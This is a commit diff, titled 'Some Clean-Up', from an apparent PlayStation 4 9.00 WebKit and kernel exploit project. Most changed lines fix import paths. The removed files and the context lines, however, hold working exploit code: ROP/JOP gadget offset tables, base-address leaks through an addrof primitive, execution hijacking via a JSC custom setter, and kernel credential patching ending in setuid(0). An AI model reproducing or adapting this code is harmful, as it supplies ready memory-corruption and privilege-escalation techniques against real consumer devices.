Some Clean-Up
This commit is contained in:
+2
-2
@@ -18,7 +18,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<meta charset='utf-8'>
|
<meta charset='utf-8'>
|
||||||
<title>exploit</title>
|
<title>PSFree-Lapse Exploit For 9.00</title>
|
||||||
<style>
|
<style>
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: 'logging';
|
font-family: 'logging';
|
||||||
@@ -37,5 +37,5 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|||||||
source code and license.<br>
|
source code and license.<br>
|
||||||
<pre id='console'></pre>
|
<pre id='console'></pre>
|
||||||
</body>
|
</body>
|
||||||
<script type='module' src='alert.mjs'></script>
|
<script type='module' src='./alert.mjs'></script>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -24,21 +24,21 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
// * RESTORE - code will repair kernel panic vulnerability
|
// * RESTORE - code will repair kernel panic vulnerability
|
||||||
// * MEMLEAK - memory leaks that our code will induce
|
// * MEMLEAK - memory leaks that our code will induce
|
||||||
|
|
||||||
import { Int } from '/module/int64.mjs';
|
import { Int } from './module/int64.mjs';
|
||||||
import { mem } from '/module/mem.mjs';
|
import { mem } from './module/mem.mjs';
|
||||||
import { log, die, hex, hexdump } from '/module/utils.mjs';
|
import { log, die, hex, hexdump } from './module/utils.mjs';
|
||||||
import { cstr, jstr } from '/module/memtools.mjs';
|
import { cstr, jstr } from './module/memtools.mjs';
|
||||||
import { page_size, context_size } from '/module/offset.mjs';
|
import { page_size, context_size } from './module/offset.mjs';
|
||||||
import { Chain } from '/module/chain.mjs';
|
import { Chain } from './module/chain.mjs';
|
||||||
|
|
||||||
import {
|
import {
|
||||||
View1, View2, View4,
|
View1, View2, View4,
|
||||||
Word, Long, Pointer,
|
Word, Long, Pointer,
|
||||||
Buffer,
|
Buffer,
|
||||||
} from '/module/view.mjs';
|
} from './module/view.mjs';
|
||||||
|
|
||||||
import * as rop from '/module/chain.mjs';
|
import * as rop from './module/chain.mjs';
|
||||||
import * as config from '/config.mjs';
|
import * as config from './config.mjs';
|
||||||
|
|
||||||
const t1 = performance.now();
|
const t1 = performance.now();
|
||||||
|
|
||||||
@@ -1523,7 +1523,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
// cr_sceCaps[1]
|
// cr_sceCaps[1]
|
||||||
kmem.write64(p_ucred.add(0x68), -1);
|
kmem.write64(p_ucred.add(0x68), -1);
|
||||||
|
|
||||||
const buf = await get_patches('/kpatch/900.elf');
|
const buf = await get_patches('./kpatch/900.elf');
|
||||||
// FIXME handle .bss segment properly
|
// FIXME handle .bss segment properly
|
||||||
// assume start of loadable segments is at offset 0x1000
|
// assume start of loadable segments is at offset 0x1000
|
||||||
const patches = new View1(await buf, 0x1000);
|
const patches = new View1(await buf, 0x1000);
|
||||||
@@ -1598,6 +1598,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
log('setuid(0)');
|
log('setuid(0)');
|
||||||
sysi('setuid', 0);
|
sysi('setuid', 0);
|
||||||
log('kernel exploit succeeded!');
|
log('kernel exploit succeeded!');
|
||||||
|
alert("kernel exploit succeeded!");
|
||||||
}
|
}
|
||||||
|
|
||||||
// FUNCTIONS FOR STAGE: SETUP
|
// FUNCTIONS FOR STAGE: SETUP
|
||||||
+2
-3
@@ -18,8 +18,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
import { Int, lohi_from_one } from './int64.mjs';
|
import { Int, lohi_from_one } from './int64.mjs';
|
||||||
import { get_view_vector } from './memtools.mjs';
|
import { get_view_vector } from './memtools.mjs';
|
||||||
import { Addr } from './mem.mjs';
|
import { Addr } from './mem.mjs';
|
||||||
|
import * as config from '../config.mjs';
|
||||||
import * as config from '/config.mjs';
|
|
||||||
|
|
||||||
// put the sycall names that you want to use here
|
// put the sycall names that you want to use here
|
||||||
export const syscall_map = new Map(Object.entries({
|
export const syscall_map = new Map(Object.entries({
|
||||||
@@ -555,7 +554,7 @@ function load_fw_specific(version) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (0x800 <= value && value <= 0x900) {
|
if (0x800 <= value && value <= 0x900) {
|
||||||
return import('/rop/900.mjs');
|
return import('../rop/900.mjs');
|
||||||
}
|
}
|
||||||
|
|
||||||
throw RangeError('firmware not supported');
|
throw RangeError('firmware not supported');
|
||||||
|
|||||||
@@ -23,7 +23,6 @@ import { align } from './utils.mjs';
|
|||||||
import { page_size } from './offset.mjs';
|
import { page_size } from './offset.mjs';
|
||||||
import { BufferView } from './rw.mjs';
|
import { BufferView } from './rw.mjs';
|
||||||
import { View1 } from './view.mjs';
|
import { View1 } from './view.mjs';
|
||||||
|
|
||||||
import * as off from './offset.mjs';
|
import * as off from './offset.mjs';
|
||||||
|
|
||||||
// creates an ArrayBuffer whose contents is copied from addr
|
// creates an ArrayBuffer whose contents is copied from addr
|
||||||
|
|||||||
+5
-5
@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
import { Int, lohi_from_one } from '/module/int64.mjs';
|
import { Int, lohi_from_one } from './int64.mjs';
|
||||||
import { Addr } from '/module/mem.mjs';
|
import { Addr } from './mem.mjs';
|
||||||
import { BufferView } from '/module/rw.mjs';
|
import { BufferView } from './rw.mjs';
|
||||||
|
|
||||||
import * as config from '/config.mjs';
|
import * as config from '../config.mjs';
|
||||||
import * as mt from '/module/memtools.mjs';
|
import * as mt from './memtools.mjs';
|
||||||
|
|
||||||
// View constructors will always get the buffer property in order to make sure
|
// View constructors will always get the buffer property in order to make sure
|
||||||
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
|
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
|
||||||
|
|||||||
+8
-9
@@ -33,10 +33,10 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
||||||
// needed offsets on different firmwares (PS5).
|
// needed offsets on different firmwares (PS5).
|
||||||
|
|
||||||
import { Int } from '/module/int64.mjs';
|
import { Int } from './module/int64.mjs';
|
||||||
import { Memory } from '/module/mem.mjs';
|
import { Memory } from './module/mem.mjs';
|
||||||
import { KB, MB } from '/module/offset.mjs';
|
import { KB, MB } from './module/offset.mjs';
|
||||||
import { BufferView } from '/module/rw.mjs';
|
import { BufferView } from './module/rw.mjs';
|
||||||
|
|
||||||
import {
|
import {
|
||||||
die,
|
die,
|
||||||
@@ -46,10 +46,10 @@ import {
|
|||||||
sleep,
|
sleep,
|
||||||
hex,
|
hex,
|
||||||
align,
|
align,
|
||||||
} from '/module/utils.mjs';
|
} from './module/utils.mjs';
|
||||||
|
|
||||||
import * as config from '/config.mjs';
|
import * as config from './config.mjs';
|
||||||
import * as off from '/module/offset.mjs';
|
import * as off from './module/offset.mjs';
|
||||||
|
|
||||||
// check if we are running on a supported firmware version
|
// check if we are running on a supported firmware version
|
||||||
const [is_ps4, version] = (() => {
|
const [is_ps4, version] = (() => {
|
||||||
@@ -857,7 +857,6 @@ async function main() {
|
|||||||
|
|
||||||
clear_log();
|
clear_log();
|
||||||
// path to your script that will use the exploit
|
// path to your script that will use the exploit
|
||||||
import('./scripts/lapse.mjs');
|
import('./lapse.mjs');
|
||||||
//import('./rop/900_working.mjs');
|
|
||||||
}
|
}
|
||||||
main();
|
main();
|
||||||
|
|||||||
-259
@@ -1,259 +0,0 @@
|
|||||||
/* Copyright (C) 2023-2025 anonymous
|
|
||||||
|
|
||||||
This file is part of PSFree.
|
|
||||||
|
|
||||||
PSFree is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU Affero General Public License as
|
|
||||||
published by the Free Software Foundation, either version 3 of the
|
|
||||||
License, or (at your option) any later version.
|
|
||||||
|
|
||||||
PSFree is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU Affero General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Affero General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|
||||||
|
|
||||||
import { mem } from '/module/mem.mjs';
|
|
||||||
import { KB } from '/module/offset.mjs';
|
|
||||||
import { ChainBase, get_gadget } from '/module/chain.mjs';
|
|
||||||
import { BufferView } from '/module/rw.mjs';
|
|
||||||
|
|
||||||
import {
|
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '/module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as off from '/module/offset.mjs';
|
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
|
||||||
const offset_wk_stack_chk_fail = 0x8d8;
|
|
||||||
const offset_wk_strlen = 0x918;
|
|
||||||
|
|
||||||
// libSceNKWebKit.sprx
|
|
||||||
export let libwebkit_base = null;
|
|
||||||
// libkernel_web.sprx
|
|
||||||
export let libkernel_base = null;
|
|
||||||
// libSceLibcInternal.sprx
|
|
||||||
export let libc_base = null;
|
|
||||||
|
|
||||||
// gadgets for the JOP chain
|
|
||||||
//
|
|
||||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
|
||||||
// type is PutPropertySlot::PutValueFunc
|
|
||||||
const jop1 = `
|
|
||||||
mov rdi, qword ptr [rsi + 8]
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
jmp qword ptr [rax + 0x70]
|
|
||||||
`;
|
|
||||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
|
||||||
// ignored
|
|
||||||
const jop2 = `
|
|
||||||
push rbp
|
|
||||||
mov rbp, rsp
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x30]
|
|
||||||
`;
|
|
||||||
const jop3 = `
|
|
||||||
mov rdx, qword ptr [rdx + 0x50]
|
|
||||||
mov ecx, 0xa
|
|
||||||
call qword ptr [rax + 0x40]
|
|
||||||
`;
|
|
||||||
const jop4 = `
|
|
||||||
push rdx
|
|
||||||
mov edi, 0xac9784fe
|
|
||||||
jmp qword ptr [rax]
|
|
||||||
`;
|
|
||||||
const jop5 = 'pop rsp; ret';
|
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
|
||||||
//
|
|
||||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
|
||||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
|
||||||
// restore rbp (if needed) before the epilogue.
|
|
||||||
//
|
|
||||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
|
||||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
|
||||||
//
|
|
||||||
// leave instruction equivalent:
|
|
||||||
// mov rsp, rbp
|
|
||||||
// pop rbp
|
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
|
||||||
'pop rax; ret' : 0x0000000000035a1b,
|
|
||||||
'pop rbx; ret' : 0x000000000001537c,
|
|
||||||
'pop rcx; ret' : 0x0000000000025ecb,
|
|
||||||
'pop rdx; ret' : 0x0000000000060f52,
|
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6,
|
|
||||||
'pop rsi; ret' : 0x000000000003bd77,
|
|
||||||
'pop rdi; ret' : 0x00000000001e3f87,
|
|
||||||
'pop rsp; ret' : 0x00000000000bf669,
|
|
||||||
|
|
||||||
'pop r8; ret' : 0x0000000000097442,
|
|
||||||
'pop r9; ret' : 0x00000000006f501f,
|
|
||||||
'pop r10; ret' : 0x0000000000060f51,
|
|
||||||
'pop r11; ret' : 0x0000000000d2a629,
|
|
||||||
|
|
||||||
'pop r12; ret' : 0x0000000000d8968d,
|
|
||||||
'pop r13; ret' : 0x00000000016ccff1,
|
|
||||||
'pop r14; ret' : 0x000000000003bd76,
|
|
||||||
'pop r15; ret' : 0x00000000002499df,
|
|
||||||
|
|
||||||
'ret' : 0x0000000000000032,
|
|
||||||
'leave; ret' : 0x0000000000291fd7,
|
|
||||||
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
|
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
|
|
||||||
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
|
|
||||||
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc,
|
|
||||||
|
|
||||||
[jop1] : 0x0000000001988320,
|
|
||||||
[jop2] : 0x000000000076b970,
|
|
||||||
[jop3] : 0x0000000000f62f95,
|
|
||||||
[jop4] : 0x00000000021af6ad,
|
|
||||||
[jop5] : 0x00000000000bf669,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
|
||||||
'getcontext' : 0x258f4,
|
|
||||||
'setcontext' : 0x29c58,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
|
||||||
// returns the location of errno
|
|
||||||
'__error' : 0x160c0,
|
|
||||||
}));
|
|
||||||
|
|
||||||
export const gadgets = new Map();
|
|
||||||
|
|
||||||
function get_bases() {
|
|
||||||
const textarea = document.createElement('textarea');
|
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
|
||||||
const off_ta_vt = 0x236d4a0;
|
|
||||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
|
||||||
|
|
||||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
|
||||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
|
||||||
const off_scf = 0x12a30;
|
|
||||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
|
||||||
|
|
||||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
|
||||||
const strlen_addr = resolve_import(strlen_import);
|
|
||||||
const off_strlen = 0x4eb80;
|
|
||||||
const libc_base = strlen_addr.sub(off_strlen);
|
|
||||||
|
|
||||||
return [
|
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|
||||||
for (const [insn, offset] of offset_map) {
|
|
||||||
gadget_map.set(insn, base_addr.add(offset));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class Chain800Base extends ChainBase {
|
|
||||||
push_end() {
|
|
||||||
this.push_gadget('leave; ret');
|
|
||||||
}
|
|
||||||
|
|
||||||
push_get_retval() {
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.retval_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
}
|
|
||||||
|
|
||||||
push_get_errno() {
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.errno_addr);
|
|
||||||
|
|
||||||
this.push_call(this.get_gadget('__error'));
|
|
||||||
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
|
||||||
}
|
|
||||||
|
|
||||||
push_clear_errno() {
|
|
||||||
this.push_call(this.get_gadget('__error'));
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_value(0);
|
|
||||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export class Chain800 extends Chain800Base {
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
|
||||||
rdx.write64(off.js_cell, this._empty_cell);
|
|
||||||
rdx.write64(0x50, this.stack_addr);
|
|
||||||
this._rsp = mem.fakeobj(rdx);
|
|
||||||
}
|
|
||||||
|
|
||||||
run() {
|
|
||||||
this.check_allow_run();
|
|
||||||
this._rop.launch = this._rsp;
|
|
||||||
this.dirty();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const Chain = Chain800;
|
|
||||||
|
|
||||||
export function init(Chain) {
|
|
||||||
const syscall_array = [];
|
|
||||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
|
||||||
|
|
||||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
|
||||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
|
||||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
|
||||||
|
|
||||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
|
||||||
// JSCustomGetterSetter.m_getterSetter
|
|
||||||
gs = mem.addrof(gs).readp(0x28);
|
|
||||||
|
|
||||||
// sizeof JSC::CustomGetterSetter
|
|
||||||
const size_cgs = 0x18;
|
|
||||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
|
||||||
mem.cpy(gc_buf, gs, size_cgs);
|
|
||||||
// JSC::CustomGetterSetter.m_setter
|
|
||||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
|
||||||
|
|
||||||
const proto = Chain.prototype;
|
|
||||||
// _rop must have a descriptor initially in order for the structure to pass
|
|
||||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
|
||||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
|
||||||
// checks for any descriptor to run
|
|
||||||
//
|
|
||||||
// the butterfly's indexing type must be something the GC won't inspect
|
|
||||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
|
||||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
|
||||||
// replace .launch with the actual custom getter/setter
|
|
||||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
|
||||||
proto._rop = _rop;
|
|
||||||
|
|
||||||
// JOP table
|
|
||||||
const rax_ptrs = new BufferView(0x100);
|
|
||||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
|
||||||
proto._rax_ptrs = rax_ptrs;
|
|
||||||
|
|
||||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
|
||||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
|
||||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
|
||||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
|
||||||
|
|
||||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
|
||||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
|
||||||
|
|
||||||
const empty = {};
|
|
||||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
|
||||||
|
|
||||||
Chain.init_class(gadgets, syscall_array);
|
|
||||||
}
|
|
||||||
-685
@@ -1,685 +0,0 @@
|
|||||||
/* Copyright (C) 2024 anonymous
|
|
||||||
|
|
||||||
This file is part of PSFree.
|
|
||||||
|
|
||||||
PSFree is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU Affero General Public License as
|
|
||||||
published by the Free Software Foundation, either version 3 of the
|
|
||||||
License, or (at your option) any later version.
|
|
||||||
|
|
||||||
PSFree is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU Affero General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Affero General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|
||||||
|
|
||||||
// by janisslsm (John) from ps4-dev discord
|
|
||||||
|
|
||||||
import * as config from '../config.mjs';
|
|
||||||
|
|
||||||
import { Int } from '../module/int64.mjs';
|
|
||||||
import { debug_log, die } from '../module/utils.mjs';
|
|
||||||
import { Addr, mem } from '../module/mem.mjs';
|
|
||||||
import { KB, MB } from '../module/constants.mjs';
|
|
||||||
import { ChainBase } from '../module/chain.mjs';
|
|
||||||
|
|
||||||
import {
|
|
||||||
make_buffer,
|
|
||||||
find_base,
|
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '../module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as rw from '../module/rw.mjs';
|
|
||||||
import * as o from '../module/offset.mjs';
|
|
||||||
|
|
||||||
const origin = window.origin;
|
|
||||||
const port = '8000';
|
|
||||||
const url = `${origin}:${port}`;
|
|
||||||
|
|
||||||
const syscall_array = [];
|
|
||||||
|
|
||||||
const offset_textarea_impl = 0x18;
|
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
|
||||||
const offset_wk_stack_chk_fail = 0x8D8;
|
|
||||||
const offset_wk_memcpy = 0x8E8;
|
|
||||||
|
|
||||||
// libSceLibcInternal offsets
|
|
||||||
const offset_libc_setjmp = 0x25904;
|
|
||||||
const offset_libc_longjmp = 0x29C38;
|
|
||||||
|
|
||||||
// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
|
|
||||||
//
|
|
||||||
// int setjmp(jmp_buf)
|
|
||||||
// noreturn longjmp(jmp_buf)
|
|
||||||
//
|
|
||||||
// This version of longjmp() does not take another argument to be used as
|
|
||||||
// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
|
|
||||||
// rax. Change it if you want a specific value from setjmp() after the
|
|
||||||
// longjmp().
|
|
||||||
const jmp_buf_size = 0xc8;
|
|
||||||
let setjmp_addr = null;
|
|
||||||
let longjmp_addr = null;
|
|
||||||
|
|
||||||
// libSceNKWebKit.sprx
|
|
||||||
let libwebkit_base = null;
|
|
||||||
// libkernel_web.sprx
|
|
||||||
let libkernel_base = null;
|
|
||||||
// libSceLibcInternal.sprx
|
|
||||||
let libc_base = null;
|
|
||||||
|
|
||||||
// Chain implementation based on Chain800. Replaced offsets that changed
|
|
||||||
// between versions. Replaced gadgets that were missing with new ones that
|
|
||||||
// won't change the API.
|
|
||||||
|
|
||||||
// gadgets for the JOP chain
|
|
||||||
//
|
|
||||||
// When the scrollLeft getter native function is called on PS4 8.50, rsi is the
|
|
||||||
// JS wrapper for the WebCore textarea class.
|
|
||||||
const jop1 = `
|
|
||||||
mov rdi, qword ptr [rsi + 0x20]
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x28]
|
|
||||||
`;
|
|
||||||
// Since the method of code redirection we used is via redirecting a call to
|
|
||||||
// jump to our JOP chain, we have the return address of the caller on entry.
|
|
||||||
//
|
|
||||||
// jop1 pushed another object (via the call instruction) but we want no extra
|
|
||||||
// objects between the return address and the rbp that will be pushed by jop3
|
|
||||||
// later. So we pop the return address pushed by jop1.
|
|
||||||
//
|
|
||||||
// This will make pivoting back easy, just "leave; ret".
|
|
||||||
const jop2 = `
|
|
||||||
pop rsi
|
|
||||||
jmp qword ptr [rax + 0x60]
|
|
||||||
`;
|
|
||||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
|
||||||
// ignored
|
|
||||||
const jop3 = `
|
|
||||||
push rbp
|
|
||||||
mov rbp, rsp
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x30]
|
|
||||||
`;
|
|
||||||
const jop4 = `
|
|
||||||
mov rdx, qword ptr [rax + 0x18]
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x10]
|
|
||||||
`;
|
|
||||||
const jop5 = `
|
|
||||||
push rdx
|
|
||||||
jmp qword ptr [rax]
|
|
||||||
`;
|
|
||||||
const jop6 = 'pop rsp; ret';
|
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
|
||||||
//
|
|
||||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
|
||||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
|
||||||
// restore rbp (if needed) before the epilogue.
|
|
||||||
//
|
|
||||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
|
||||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
|
||||||
//
|
|
||||||
// leave instruction equivalent:
|
|
||||||
// mov rsp, rbp
|
|
||||||
// pop rbp
|
|
||||||
const rop_epilogue = 'leave; ret';
|
|
||||||
|
|
||||||
const push_rdx_jmp = `
|
|
||||||
push rdx
|
|
||||||
jmp qword ptr [rax]
|
|
||||||
`;
|
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
|
||||||
'pop rax; ret' : 0x000000000001ac7b,
|
|
||||||
'pop rbx; ret' : 0x000000000000c46d,
|
|
||||||
'pop rcx; ret' : 0x000000000001ac5f,
|
|
||||||
'pop rdx; ret' : 0x0000000000282ea2,
|
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6,
|
|
||||||
'pop rsi; ret' : 0x0000000000050878,
|
|
||||||
'pop rdi; ret' : 0x0000000000091afa,
|
|
||||||
'pop rsp; ret' : 0x0000000000073c2b,
|
|
||||||
|
|
||||||
'pop r8; ret' : 0x000000000003b4b3,
|
|
||||||
'pop r9; ret' : 0x00000000010f372f,
|
|
||||||
'pop r10; ret' : 0x0000000000b1a721,
|
|
||||||
'pop r11; ret' : 0x0000000000eaba69,
|
|
||||||
|
|
||||||
'pop r12; ret' : 0x00000000004abe58,
|
|
||||||
'pop r13; ret' : 0x00000000019a0d8b,
|
|
||||||
'pop r14; ret' : 0x0000000000050877,
|
|
||||||
'pop r15; ret' : 0x0000000000091af9,
|
|
||||||
|
|
||||||
'ret' : 0x0000000000000032,
|
|
||||||
'leave; ret' : 0x000000000001ba53,
|
|
||||||
|
|
||||||
'neg rax; and rax, rcx; ret' : 0x00000000014c5ab4,
|
|
||||||
'adc esi, esi; ret' : 0x0000000000bcfa29,
|
|
||||||
'add rax, rdx; ret' : 0x0000000000d26d4c,
|
|
||||||
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000015a74c6,
|
|
||||||
'pop rdi; jmp qword ptr [rax + 0x1d]' : 0x00000000021f4f09,
|
|
||||||
|
|
||||||
'mov qword ptr [rdi], rsi; ret' : 0x000000000018f010,
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c,
|
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b,
|
|
||||||
'mov rdx, rcx; ret' : 0x0000000000f2c94d,
|
|
||||||
|
|
||||||
[push_rdx_jmp] : 0x00000000021f10fd,
|
|
||||||
|
|
||||||
[jop1] : 0x00000000002613e8,
|
|
||||||
[jop2] : 0x00000000021f930e,
|
|
||||||
[jop3] : 0x00000000011c9df0,
|
|
||||||
[jop4] : 0x0000000000481769,
|
|
||||||
[jop5] : 0x00000000021f10fd,
|
|
||||||
[jop6] : 0x0000000000073c2b,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
|
||||||
'neg rax; ret' : 0x00000000000d3df3,
|
|
||||||
'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cef39,
|
|
||||||
'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf8e2,
|
|
||||||
'setjmp' : offset_libc_setjmp,
|
|
||||||
'longjmp' : offset_libc_longjmp,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const gadgets = new Map();
|
|
||||||
|
|
||||||
function get_bases() {
|
|
||||||
const textarea = document.createElement('textarea');
|
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
|
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
|
||||||
const libwebkit_base = find_base(textarea_vtable, true, true);
|
|
||||||
|
|
||||||
const stack_chk_fail_import =
|
|
||||||
libwebkit_base
|
|
||||||
.add(offset_wk_stack_chk_fail)
|
|
||||||
;
|
|
||||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
|
||||||
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
|
|
||||||
|
|
||||||
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
|
|
||||||
const memcpy_addr = resolve_import(memcpy_import);
|
|
||||||
const libc_base = find_base(memcpy_addr, true, true);
|
|
||||||
|
|
||||||
return [
|
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|
||||||
for (const [insn, offset] of offset_map) {
|
|
||||||
gadget_map.set(insn, base_addr.add(offset));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class Chain850Base extends ChainBase {
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
|
|
||||||
// for conditional jumps
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
this.flag = new Uint8Array(8);
|
|
||||||
this.flag_addr = get_view_vector(this.flag);
|
|
||||||
this.jmp_target = new Uint8Array(0x100);
|
|
||||||
rw.write64(this.jmp_target, 0x1d, this.get_gadget(push_rdx_jmp));
|
|
||||||
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
|
|
||||||
|
|
||||||
// for save/restore
|
|
||||||
this.is_saved = false;
